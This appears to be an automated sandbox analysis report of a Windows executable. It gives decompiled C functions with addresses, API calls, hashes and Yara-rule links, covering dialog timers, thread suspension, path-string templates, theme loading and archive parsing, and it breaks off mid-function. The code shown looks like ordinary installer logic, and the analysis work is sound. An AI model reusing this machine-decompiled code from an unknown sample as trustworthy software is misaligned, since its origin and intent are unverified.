0x00407f05
0x00407f0c
0x00407f0c
0x00407f19
0x00407f1e
0x00407f31
0x00407f31
0x00407f37
0x00407f20
0x00407f24
0x00407f27
0x00407f28
0x00407f2f
0x00000000
0x00000000
0x00407f2f
0x00407f4f

APIs

SystemParametersInfoW.USER32 ref: 00407EB7
GetDC.USER32(00000000), ref: 00407EC2
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00407ECE
MulDiv.KERNEL32(?,00000048,00000000), ref: 00407EDD
ReleaseDC.USER32 ref: 00407EEB
GetModuleHandleW.KERNEL32(00000000), ref: 00407F13
DialogBoxIndirectParamW.USER32 ref: 00407F45

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: CapsDeviceDialogHandleIndirectInfoModuleParamParametersReleaseSystem
String ID:
API String ID: 3212456201-0
Opcode ID: 6c6e9f6cbb186afbd910bba0e3b424dc6f845c5392de7f31c0f4edd618176398
Instruction ID: e5cbe167788b7df0f190fda5ad4873b435a8e75dd499519e5841f70fb4c46128
Opcode Fuzzy Hash: 6c6e9f6cbb186afbd910bba0e3b424dc6f845c5392de7f31c0f4edd618176398
Instruction Fuzzy Hash: AC219371D40668BFDB215F619C48EEB7BBCEB89711F4040AAF909A6190D7344E80CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00408A8A, Relevance: 10.6, APIs: 7, Instructions: 63
timethreadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00408A8A(void* __ecx) {
				int _t10;
				signed int _t18;
				void* _t21;
				void* _t25;
				void* _t27;
				intOrPtr _t30;
				signed int _t31;
				void* _t35;

				_t27 = __ecx;
				_t30 =  *0x4228e0; // 0x0
				if(_t30 != 0) {
					_t10 = EndDialog( *(__ecx + 4), 0);
				}
				_t31 =  *0x4228d4; // 0x0
				if(_t31 != 0) {
					KillTimer( *(_t27 + 4), 1);
					_t32 =  *0x42245c & 0x00000100;
					if(( *0x42245c & 0x00000100) == 0 || E00408A46(_t27, _t25, _t32) != 0) {
						_push(0);
						_push( *(_t27 + 4));
						L13:
						return EndDialog();
					}
					_t18 =  *0x4228d4; // 0x0
					_t10 = SetTimer( *(_t27 + 4), 1, _t18 * 0xa, 0);
				}
				_t35 =  *0x422770 - 1; // 0x2
				if(_t35 != 0) {
					_t21 =  *0x422720; // 0x4f0
					if(_t21 != 0) {
						SuspendThread(_t21);
						_t37 =  *0x42245c & 0x00000100;
						if(( *0x42245c & 0x00000100) == 0 || E00408A46(_t27, _t25, _t37) != 0) {
							 *0x4228cc = 1;
							TerminateThread(_t21, 0x16);
							_push(0);
							_push( *(_t27 + 4));
							goto L13;
						} else {
							return ResumeThread(_t21);
						}
					}
				}
				return _t10;
			}

0x00408a96
0x00408a98
0x00408a9e
0x00408aa4
0x00408aa4
0x00408aa9
0x00408aaf
0x00408ab5
0x00408abb
0x00408ac5
0x00408b1f
0x00408b20
0x00408b39
0x00000000
0x00408b39
0x00408ad2
0x00408ae0
0x00408ae0
0x00408ae6
0x00408aec
0x00408aee
0x00408af6
0x00408af9
0x00408aff
0x00408b09
0x00408b28
0x00408b2e
0x00408b34
0x00408b36
0x00000000
0x00408b16
0x00000000
0x00408b17
0x00408b09
0x00408af6
0x00408b3f

APIs

EndDialog.USER32(?,00000000), ref: 00408AA4
KillTimer.USER32(?,00000001), ref: 00408AB5
SetTimer.USER32(?,00000001,00000000,00000000), ref: 00408AE0
SuspendThread.KERNEL32(000004F0), ref: 00408AF9
ResumeThread.KERNEL32(000004F0), ref: 00408B17
EndDialog.USER32(?,00000000), ref: 00408B39

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: DialogThreadTimer$KillResumeSuspend
String ID:
API String ID: 4151135813-0
Opcode ID: 885b3203f5fafc8ea029e998e3dfa88956fb95a6329574f64dc11b18cd69f5ab
Instruction ID: e0febfc1c518c38718134784bfd0cfd8211ff2635dc020f4aeb641ff724bccfa
Opcode Fuzzy Hash: 885b3203f5fafc8ea029e998e3dfa88956fb95a6329574f64dc11b18cd69f5ab
Instruction Fuzzy Hash: 98116DB0700204AFD7256F21EF85A6737ADEB60785B40403EF696A15A0CFB8AC02DF1C

Uniqueness

Uniqueness Score: -1.00%

Function 00403526, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00403526(void* __ecx, void* __edx) {
				char _v16;
				char _v28;
				void* _t18;
				void* _t34;
				void* _t51;
				void* _t52;
				intOrPtr* _t53;

				_t51 = __ecx;
				_t52 = __edx;
				E004147DF(_t18,  &_v16);
				E004148C7( &_v16, __edx);
				E00414922( &_v16, "\\");
				E00414803( &_v28, L"%%T\\");
				E00414BA6(__ecx,  &_v28,  &_v16);
				_push(_v28);
				L0041C160();
				E004148C7( &_v16, _t52);
				E00414922( &_v16, "/");
				E00414803( &_v28, L"%%T/");
				E00414BA6(_t51,  &_v28,  &_v16);
				L0041C160();
				 *_t53 = 0x41dbd4;
				E00414803( &_v28, _v28);
				_t34 = E00414BA6(_t51,  &_v28, _t52);
				_push(_v28);
				L0041C160();
				_push(_v16);
				L0041C160();
				return _t34;
			}

0x0040352e
0x00403533
0x00403535
0x0040353e
0x0040354b
0x00403558
0x00403567
0x0040356c
0x0040356f
0x00403579
0x00403586
0x00403593
0x004035a2
0x004035aa
0x004035b2
0x004035b9
0x004035c5
0x004035ca
0x004035cd
0x004035d2
0x004035d5
0x004035df

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

Part of subcall function 004148C7: ??2@YAPAXI@Z.MSVCRT ref: 004148EF
Part of subcall function 004148C7: ??3@YAXPAX@Z.MSVCRT ref: 004148F8
Part of subcall function 004148C7: memcpy.MSVCRT ref: 00414912

Part of subcall function 00414922: memcpy.MSVCRT ref: 0041494F

Part of subcall function 00414803: memcpy.MSVCRT ref: 00414829

??3@YAXPAX@Z.MSVCRT ref: 0040356F
??3@YAXPAX@Z.MSVCRT ref: 004035AA
??3@YAXPAX@Z.MSVCRT ref: 004035CD
??3@YAXPAX@Z.MSVCRT ref: 004035D5

Strings

%%T/, xrefs: 0040358B
%%T\, xrefs: 00403550

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$memcpy$??2@
String ID: %%T/$%%T\
API String ID: 3447362686-2679640699
Opcode ID: 2bd3869f0c11202dcf2497b639ef63ba0f5185e1f633ba9c7ad340e17c03d490
Instruction ID: 166c9580e81c2123b542eeb7ffed12b91935a7def8928b4aa084c00800812ce8
Opcode Fuzzy Hash: 2bd3869f0c11202dcf2497b639ef63ba0f5185e1f633ba9c7ad340e17c03d490
Instruction Fuzzy Hash: B0113DB5D441096A8B04FBA1DC93DEFB77C9E84704F10416FB112B2092DF686AC5CA98

Uniqueness

Uniqueness Score: -1.00%

Function 004035E0, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E004035E0(void* __ecx, void* __edx) {
				char _v16;
				char _v28;
				void* _t18;
				void* _t34;
				void* _t51;
				void* _t52;
				intOrPtr* _t53;

				_t51 = __ecx;
				_t52 = __edx;
				E004147DF(_t18,  &_v16);
				E004148C7( &_v16, __edx);
				E00414922( &_v16, "\\");
				E00414803( &_v28, L"%%S\\");
				E00414BA6(__ecx,  &_v28,  &_v16);
				_push(_v28);
				L0041C160();
				E004148C7( &_v16, _t52);
				E00414922( &_v16, "/");
				E00414803( &_v28, L"%%S/");
				E00414BA6(_t51,  &_v28,  &_v16);
				L0041C160();
				 *_t53 = L"%%S";
				E00414803( &_v28, _v28);
				_t34 = E00414BA6(_t51,  &_v28, _t52);
				_push(_v28);
				L0041C160();
				_push(_v16);
				L0041C160();
				return _t34;
			}

0x004035e8
0x004035ed
0x004035ef
0x004035f8
0x00403605
0x00403612
0x00403621
0x00403626
0x00403629
0x00403633
0x00403640
0x0040364d
0x0040365c
0x00403664
0x0040366c
0x00403673
0x0040367f
0x00403684
0x00403687
0x0040368c
0x0040368f
0x00403699

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

Part of subcall function 004148C7: ??2@YAPAXI@Z.MSVCRT ref: 004148EF
Part of subcall function 004148C7: ??3@YAXPAX@Z.MSVCRT ref: 004148F8
Part of subcall function 004148C7: memcpy.MSVCRT ref: 00414912

Part of subcall function 00414922: memcpy.MSVCRT ref: 0041494F

Part of subcall function 00414803: memcpy.MSVCRT ref: 00414829

??3@YAXPAX@Z.MSVCRT ref: 00403629
??3@YAXPAX@Z.MSVCRT ref: 00403664
??3@YAXPAX@Z.MSVCRT ref: 00403687
??3@YAXPAX@Z.MSVCRT ref: 0040368F

Strings

%%S/, xrefs: 00403645
%%S\, xrefs: 0040360A

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$memcpy$??2@
String ID: %%S/$%%S\
API String ID: 3447362686-358529586
Opcode ID: c5102c029cdb3d12ac855eb080264e10659566beaa8db6ce68d0d1493529207a
Instruction ID: 6751733f6835679305e27ae318cc34a62e234db39242876c41385dbdc84acb9b
Opcode Fuzzy Hash: c5102c029cdb3d12ac855eb080264e10659566beaa8db6ce68d0d1493529207a
Instruction Fuzzy Hash: 46113DB5D440186ACB04FBA1DC93DEFB77C9E84704F10416FB112B2092EF786AC5CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040369A, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040369A(void* __ecx, void* __edx) {
				char _v16;
				char _v28;
				void* _t18;
				void* _t34;
				void* _t51;
				void* _t52;
				intOrPtr* _t53;

				_t51 = __ecx;
				_t52 = __edx;
				E004147DF(_t18,  &_v16);
				E004148C7( &_v16, __edx);
				E00414922( &_v16, "\\");
				E00414803( &_v28, L"%%M\\");
				E00414BA6(__ecx,  &_v28,  &_v16);
				_push(_v28);
				L0041C160();
				E004148C7( &_v16, _t52);
				E00414922( &_v16, "/");
				E00414803( &_v28, L"%%M/");
				E00414BA6(_t51,  &_v28,  &_v16);
				L0041C160();
				 *_t53 = L"%%M";
				E00414803( &_v28, _v28);
				_t34 = E00414BA6(_t51,  &_v28, _t52);
				_push(_v28);
				L0041C160();
				_push(_v16);
				L0041C160();
				return _t34;
			}

0x004036a2
0x004036a7
0x004036a9
0x004036b2
0x004036bf
0x004036cc
0x004036db
0x004036e0
0x004036e3
0x004036ed
0x004036fa
0x00403707
0x00403716
0x0040371e
0x00403726
0x0040372d
0x00403739
0x0040373e
0x00403741
0x00403746
0x00403749
0x00403753

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

Part of subcall function 004148C7: ??2@YAPAXI@Z.MSVCRT ref: 004148EF
Part of subcall function 004148C7: ??3@YAXPAX@Z.MSVCRT ref: 004148F8
Part of subcall function 004148C7: memcpy.MSVCRT ref: 00414912

Part of subcall function 00414922: memcpy.MSVCRT ref: 0041494F

Part of subcall function 00414803: memcpy.MSVCRT ref: 00414829

??3@YAXPAX@Z.MSVCRT ref: 004036E3
??3@YAXPAX@Z.MSVCRT ref: 0040371E
??3@YAXPAX@Z.MSVCRT ref: 00403741
??3@YAXPAX@Z.MSVCRT ref: 00403749

Strings

%%M\, xrefs: 004036C4
%%M/, xrefs: 004036FF

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$memcpy$??2@
String ID: %%M/$%%M\
API String ID: 3447362686-4143866494
Opcode ID: e762984c76011ef12ca27b7a1e2371d27fc4346b0628bafdf22f5638e4ca445c
Instruction ID: 917775b58852407d444846b0aa1479805c178b4686cdde28d42bb90dc1711a01
Opcode Fuzzy Hash: e762984c76011ef12ca27b7a1e2371d27fc4346b0628bafdf22f5638e4ca445c
Instruction Fuzzy Hash: AF1130B5D440187ACB04FB91DC93DEFB77C9E84704F10406FB116B2092EF686AC5CA98

Uniqueness

Uniqueness Score: -1.00%

Function 00407E2D, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407E2D(void* __ecx) {
				struct HINSTANCE__* _t2;
				struct HWND__* _t3;
				CHAR* _t11;
				void* _t13;
				struct HWND__* _t14;
				struct HWND__* _t16;

				_t13 = __ecx;
				_t2 = LoadLibraryA("uxtheme");
				if(_t2 != 0) {
					_t3 = GetProcAddress(_t2, "SetWindowTheme");
					_t16 = _t3;
					if(_t16 == 0) {
						L7:
						return _t3;
					}
					_t3 = GetWindow( *(_t13 + 4), 5);
					_t14 = _t3;
					if(_t14 == 0) {
						L6:
						goto L7;
					}
					_t11 = " ";
					do {
						_t16->i(_t14, _t11, _t11);
						_t3 = GetWindow(_t14, 2);
						_t14 = _t3;
					} while (_t14 != 0);
					goto L6;
				}
				return _t2;
			}

0x00407e33
0x00407e35
0x00407e3d
0x00407e46
0x00407e4c
0x00407e50
0x00407e7f
0x00000000
0x00407e7f
0x00407e5f
0x00407e61
0x00407e65
0x00407e7e
0x00000000
0x00407e7e
0x00407e68
0x00407e6d
0x00407e70
0x00407e75
0x00407e77
0x00407e79
0x00000000
0x00407e7d
0x00407e81

APIs

LoadLibraryA.KERNEL32(uxtheme,?,0040911C,000004B1,00000000,?,?,?,?,?,00409247), ref: 00407E35
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 00407E46
GetWindow.USER32(?,00000005), ref: 00407E5F
GetWindow.USER32(00000000,00000002), ref: 00407E75

Strings

SetWindowTheme, xrefs: 00407E40
uxtheme, xrefs: 00407E2E

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$AddressLibraryLoadProc
String ID: SetWindowTheme$uxtheme
API String ID: 324724604-1369271589
Opcode ID: d1c83f497be9f3305c1235a4c67dcd356e2801ac202c84af436c6d730c55ae95
Instruction ID: 5403b67bd050cf209916d056b79971b0f3c2a1a79c5b52a930c6f53153313152
Opcode Fuzzy Hash: d1c83f497be9f3305c1235a4c67dcd356e2801ac202c84af436c6d730c55ae95
Instruction Fuzzy Hash: B2F0A776E4672533C6316366AC48F877B5C9B45B60B0605B6FD04F7380DA6CEC4181ED

Uniqueness

Uniqueness Score: -1.00%

Function 00418480, Relevance: 10.5, APIs: 7, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00418480(intOrPtr* __ecx) {
				intOrPtr _t20;
				intOrPtr* _t22;
				intOrPtr* _t28;

				 *__ecx = 0;
				_push( *((intOrPtr*)(__ecx + 8)));
				L0041C160();
				 *((intOrPtr*)(__ecx + 8)) = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				 *((intOrPtr*)(__ecx + 0x10)) = 0;
				 *((intOrPtr*)(__ecx + 0x1c)) = 0;
				_push( *((intOrPtr*)(__ecx + 0x24)));
				L0041C160();
				 *((intOrPtr*)(__ecx + 0x24)) = 0;
				_push( *((intOrPtr*)(__ecx + 0x28)));
				L0041C160();
				 *((intOrPtr*)(__ecx + 0x28)) = 0;
				_push( *((intOrPtr*)(__ecx + 0x2c)));
				L0041C160();
				 *((intOrPtr*)(__ecx + 0x2c)) = 0;
				_push( *((intOrPtr*)(__ecx + 0x30)));
				L0041C160();
				 *((intOrPtr*)(__ecx + 0x30)) = 0;
				_push( *((intOrPtr*)(__ecx + 0x34)));
				L0041C160();
				 *((intOrPtr*)(__ecx + 0x34)) = 0;
				_push( *((intOrPtr*)(__ecx + 0x38)));
				L0041C160();
				 *((intOrPtr*)(__ecx + 0x38)) = 0;
				_t22 = __ecx + 0x3c;
				_pop(_t27);
				_t28 = _t22;
				_t20 =  *_t28;
				if(_t20 != 0) {
					_push(_t20);
					L0041C160();
					 *_t28 = 0;
				}
				 *((intOrPtr*)(_t28 + 4)) = 0;
				return _t20;
			}

0x00418486
0x00418488
0x0041848b
0x00418490
0x00418493
0x00418496
0x00418499
0x0041849c
0x0041849f
0x004184a4
0x004184a7
0x004184aa
0x004184af
0x004184b2
0x004184b5
0x004184ba
0x004184bd
0x004184c0
0x004184c5
0x004184c8
0x004184cb
0x004184d0
0x004184d3
0x004184d6
0x004184de
0x004184e2
0x004184e5
0x0040b6c1
0x0040b6c3
0x0040b6c7
0x0040b6c9
0x0040b6ca
0x0040b6d2
0x0040b6d2
0x0040b6d8
0x0040b6e0

APIs

??3@YAXPAX@Z.MSVCRT ref: 0041848B
??3@YAXPAX@Z.MSVCRT ref: 0041849F
??3@YAXPAX@Z.MSVCRT ref: 004184AA
??3@YAXPAX@Z.MSVCRT ref: 004184B5
??3@YAXPAX@Z.MSVCRT ref: 004184C0
??3@YAXPAX@Z.MSVCRT ref: 004184CB
??3@YAXPAX@Z.MSVCRT ref: 004184D6

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: f70be27807797ce7c26ea69ed98ffc78a6c2594a131c428ecde169c1c0b094d5
Instruction ID: f1de91cbc462ee97d673e7db93c01427bec84cd42ac756398f0c521e5fe4e4e7
Opcode Fuzzy Hash: f70be27807797ce7c26ea69ed98ffc78a6c2594a131c428ecde169c1c0b094d5
Instruction Fuzzy Hash: DE01C471480B54ABC2316F17CD85847FEF1FF94B04340591FA08602932C7B5B891DF48

Uniqueness

Uniqueness Score: -1.00%

Function 00419DAA, Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 354
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00419DAA(void* __ecx, void* __edx, void* __eflags, signed int _a4, signed int _a7, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				char _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t223;
				signed int _t233;
				signed int _t234;
				signed int _t236;
				signed int _t245;
				signed int _t246;
				signed int _t247;
				signed int _t249;
				intOrPtr _t254;
				void* _t256;
				void* _t257;
				void* _t258;
				signed char _t260;
				intOrPtr _t264;
				void* _t269;
				signed int _t270;
				void* _t271;
				signed int _t275;
				signed int _t295;
				intOrPtr _t297;
				intOrPtr _t310;
				signed int _t314;
				intOrPtr _t316;
				signed int _t317;
				char _t319;
				signed int _t321;
				signed int _t326;
				signed int _t333;
				void* _t334;
				intOrPtr _t335;
				intOrPtr* _t336;
				signed int _t338;
				void* _t347;
				void* _t348;

				_t349 = __eflags;
				_t347 = __ecx;
				E00419816(__ecx, __edx, _t334, __eflags, 0xb, 0);
				_t223 = E00418FE5( *((intOrPtr*)(__ecx + 0x38)), __edx, __ecx, __eflags);
				_v12 = _v12 & 0x00000000;
				_t335 = _t223;
				_v32 = _t335;
				_v64 = 0;
				E00419747( &_v68, __edx, _t348, __eflags, _t347, _a4);
				_t275 = _a8;
				_t11 = _t335 + 1; // 0x1
				_v28 =  *((intOrPtr*)( *(_t347 + 0x38) + 8)) +  *( *(_t347 + 0x38));
				 *((intOrPtr*)(_t275 + 4)) = _t335;
				_a4 = _t11;
				E0041914B(E0041911E(_t275 + 0x30, __eflags, _t11), _t275 + 0x34, _t335);
				E0041911E(_t275 + 0x38, _t349, _a4);
				_t336 = _t275 + 0x2c;
				E0041911E(_t336, _t349, _v32 + 1);
				_t233 = 0;
				_v92 = 0;
				_v88 = 0;
				_v84 = 0;
				_v80 = 0;
				_v76 = 0;
				_v72 = 0;
				_v44 = 0;
				_v20 =  *(_t347 + 0x38);
				_v24 = 0;
				_t350 = _v32;
				if(_v32 > 0) {
					while(1) {
						_t337 = _v24;
						_t326 =  *((intOrPtr*)( *(_t347 + 0x38) + 8)) - _v28 +  *( *(_t347 + 0x38));
						 *( *(_t275 + 0x38) + _v24 * 4) = _t326;
						_t288 = _v20;
						_v40 = _t233;
						_a8 = _t233;
						_t234 = E00418FE5(_v20, _t326, _t347, __eflags);
						_v8 = _t234;
						__eflags = _t234;
						if(_t234 == 0) {
							break;
						}
						__eflags = _t234 - 0x40;
						if(_t234 > 0x40) {
							break;
						}
						_v36 = _v36 & 0x00000000;
						__eflags = _t234;
						if(_t234 == 0) {
							L37:
							_t288 = 1;
							__eflags = _t234 - 1;
							if(_t234 != 1) {
								L40:
								_t337 = _a8;
								__eflags = _a8 - _t234 - 1;
								if(__eflags < 0) {
									break;
								}
								E00419725( &_v92, _t337, __eflags);
								_t338 = _v8;
								E00419725( &_v80, _t338, __eflags);
								_a4 = _a4 & 0x00000000;
								_t337 = _t338 - 1;
								__eflags = _t337;
								_v36 = _t337;
								if(__eflags == 0) {
									L47:
									_t337 = _a8 - _v36;
									_v36 = _t337;
									__eflags = _t337 - 1;
									if(_t337 == 1) {
										L52:
										_t245 = 0;
										__eflags = 0 - _v8;
										if(__eflags >= 0) {
											L58:
											if(__eflags == 0) {
												break;
											}
											L59:
											_t246 = _v24;
											_t295 = _v12;
											_t336 = _t275 + 0x2c;
											 *((intOrPtr*)( *_t336 + _t246 * 4)) = _t295;
											_v12 = _t295 + _v8;
											_t297 = _v44;
											 *((intOrPtr*)( *((intOrPtr*)(_t275 + 0x30)) + _t246 * 4)) = _t297;
											_v44 = _t297 + _v36;
											 *((char*)(_t246 +  *((intOrPtr*)(_t275 + 0x34)))) = _v40;
											_t247 = _t246 + 1;
											_v24 = _t247;
											__eflags = _t247 - _v32;
											if(_t247 < _v32) {
												_t233 = 0;
												__eflags = 0;
												continue;
											}
											goto L1;
										} else {
											goto L53;
										}
										while(1) {
											L53:
											_t288 = _v80;
											__eflags =  *((char*)(_t288 + _t245));
											if( *((char*)(_t288 + _t245)) == 0) {
												break;
											}
											_t245 = _t245 + 1;
											__eflags = _t245 - _v8;
											if(_t245 < _v8) {
												continue;
											}
											L57:
											__eflags = _t245 - _v8;
											goto L58;
										}
										_v40 = _t245;
										goto L57;
									}
									_a4 = _a4 & 0x00000000;
									__eflags = _t337;
									if(__eflags == 0) {
										goto L52;
									} else {
										goto L49;
									}
									while(1) {
										L49:
										_t288 = _v20;
										_t256 = E00418FE5(_v20, _t326, _t347, __eflags);
										__eflags = _t256 - _a8;
										if(_t256 >= _a8) {
											goto L61;
										}
										_t288 = _v92;
										__eflags =  *((char*)(_t256 + _t288));
										if( *((char*)(_t256 + _t288)) != 0) {
											goto L61;
										}
										_a4 = _a4 + 1;
										 *((char*)(_t256 + _t288)) = 1;
										__eflags = _a4 - _t337;
										if(__eflags < 0) {
											continue;
										}
										goto L52;
									}
									break;
								} else {
									goto L42;
								}
								while(1) {
									L42:
									_t288 =  *(_t347 + 0x38);
									_t257 = E00418FE5( *(_t347 + 0x38), _t326, _t347, __eflags);
									__eflags = _t257 - _a8;
									if(_t257 >= _a8) {
										goto L61;
									}
									_t288 = _v92;
									__eflags =  *((char*)(_t257 + _t288));
									if(__eflags != 0) {
										goto L61;
									}
									 *((char*)(_t257 + _t288)) = 1;
									_t288 =  *(_t347 + 0x38);
									_t258 = E00418FE5( *(_t347 + 0x38), _t326, _t347, __eflags);
									__eflags = _t258 - _v8;
									if(_t258 >= _v8) {
										goto L61;
									}
									_t288 = _v80;
									__eflags =  *((char*)(_t258 + _t288));
									if( *((char*)(_t258 + _t288)) != 0) {
										goto L61;
									}
									_a4 = _a4 + 1;
									 *((char*)(_t258 + _t288)) = 1;
									__eflags = _a4 - _v36;
									if(__eflags < 0) {
										continue;
									}
									goto L47;
								}
								break;
							}
							__eflags = _a8 - 1;
							if(_a8 != 1) {
								goto L40;
							}
							_v40 = _v40 & 0x00000000;
							_v36 = 1;
							goto L59;
						} else {
							goto L8;
						}
						while(1) {
							L8:
							_t337 = _v20;
							_t288 = _t337;
							_t260 = E00418E7C(_t337, _t337);
							_a7 = _t260;
							__eflags = _t260 & 0x000000c0;
							if((_t260 & 0x000000c0) != 0) {
								goto L61;
							}
							_t288 = _t260 & 0xf;
							_v52 = _t288;
							__eflags = _t288 - 8;
							if(_t288 > 8) {
								goto L61;
							}
							_t326 =  *(_t337 + 8);
							__eflags = _t288 -  *((intOrPtr*)(_t337 + 4)) - _t326;
							if(_t288 >  *((intOrPtr*)(_t337 + 4)) - _t326) {
								L62:
								_t236 = E00418DE4(_t288, _t337);
								L63:
								__eflags = _t236 - 0xa;
								if(_t236 != 0xa) {
									L66:
									E00419315( *(_t347 + 0x38), _t326);
									L67:
									_t236 = E00418FB1( *(_t347 + 0x38));
									if((_t236 | _t326) != 0) {
										goto L63;
									}
									return _t236;
								}
								__eflags = _t326;
								if(__eflags != 0) {
									goto L66;
								}
								E00419C68(_t347, __eflags, _v32, _t275 + 0xc);
								goto L67;
							}
							_v60 = _v60 & 0x00000000;
							_v56 = _v56 & 0x00000000;
							_v16 = _v16 & 0x00000000;
							_t264 =  *_t337 + _t326;
							_v48 = _t264;
							__eflags = _t288;
							if(_t288 == 0) {
								L16:
								 *(_t337 + 8) =  *(_t337 + 8) + _t288;
								__eflags =  *((intOrPtr*)(_t275 + 0x50)) - 0x80;
								if( *((intOrPtr*)(_t275 + 0x50)) < 0x80) {
									_t288 = _t275 + 0x4c;
									E00419957(_t275 + 0x4c, _v60, _v56);
								}
								__eflags = _a7 & 0x00000010;
								_v16 = 1;
								if(__eflags == 0) {
									L21:
									_a8 = _a8 + _v16;
									__eflags = _a8 - 0x40;
									if(_a8 > 0x40) {
										goto L61;
									}
									__eflags = _a7 & 0x00000020;
									if(__eflags == 0) {
										L35:
										_v36 = _v36 + 1;
										__eflags = _v36 - _v8;
										if(_v36 < _v8) {
											continue;
										}
										_t234 = _v8;
										goto L37;
									}
									_t269 = E00418FE5(_t337, _t326, _t347, __eflags);
									_t288 =  *((intOrPtr*)(_t337 + 4)) -  *(_t337 + 8);
									__eflags = _t269 -  *((intOrPtr*)(_t337 + 4)) -  *(_t337 + 8);
									if(_t269 >  *((intOrPtr*)(_t337 + 4)) -  *(_t337 + 8)) {
										goto L62;
									}
									__eflags = _v60 - 0x21;
									if(_v60 != 0x21) {
										L29:
										__eflags = _v60 - 0x30101;
										if(_v60 == 0x30101) {
											__eflags = _v56;
											if(_v56 == 0) {
												__eflags = _t269 - 5;
												if(_t269 == 5) {
													_t314 =  *(_t347 + 0x38);
													_t326 =  *(_t314 + 8);
													_t316 =  *((intOrPtr*)(_t326 +  *_t314 + 1));
													__eflags =  *((intOrPtr*)(_t275 + 0x48)) - _t316;
													if( *((intOrPtr*)(_t275 + 0x48)) < _t316) {
														 *((intOrPtr*)(_t275 + 0x48)) = _t316;
													}
												}
											}
										}
										L34:
										_t149 = _t337 + 8;
										 *_t149 =  *(_t337 + 8) + _t269;
										__eflags =  *_t149;
										goto L35;
									}
									__eflags = _v56;
									if(_v56 != 0) {
										goto L29;
									}
									__eflags = _t269 - 1;
									if(_t269 == 1) {
										_t317 =  *(_t347 + 0x38);
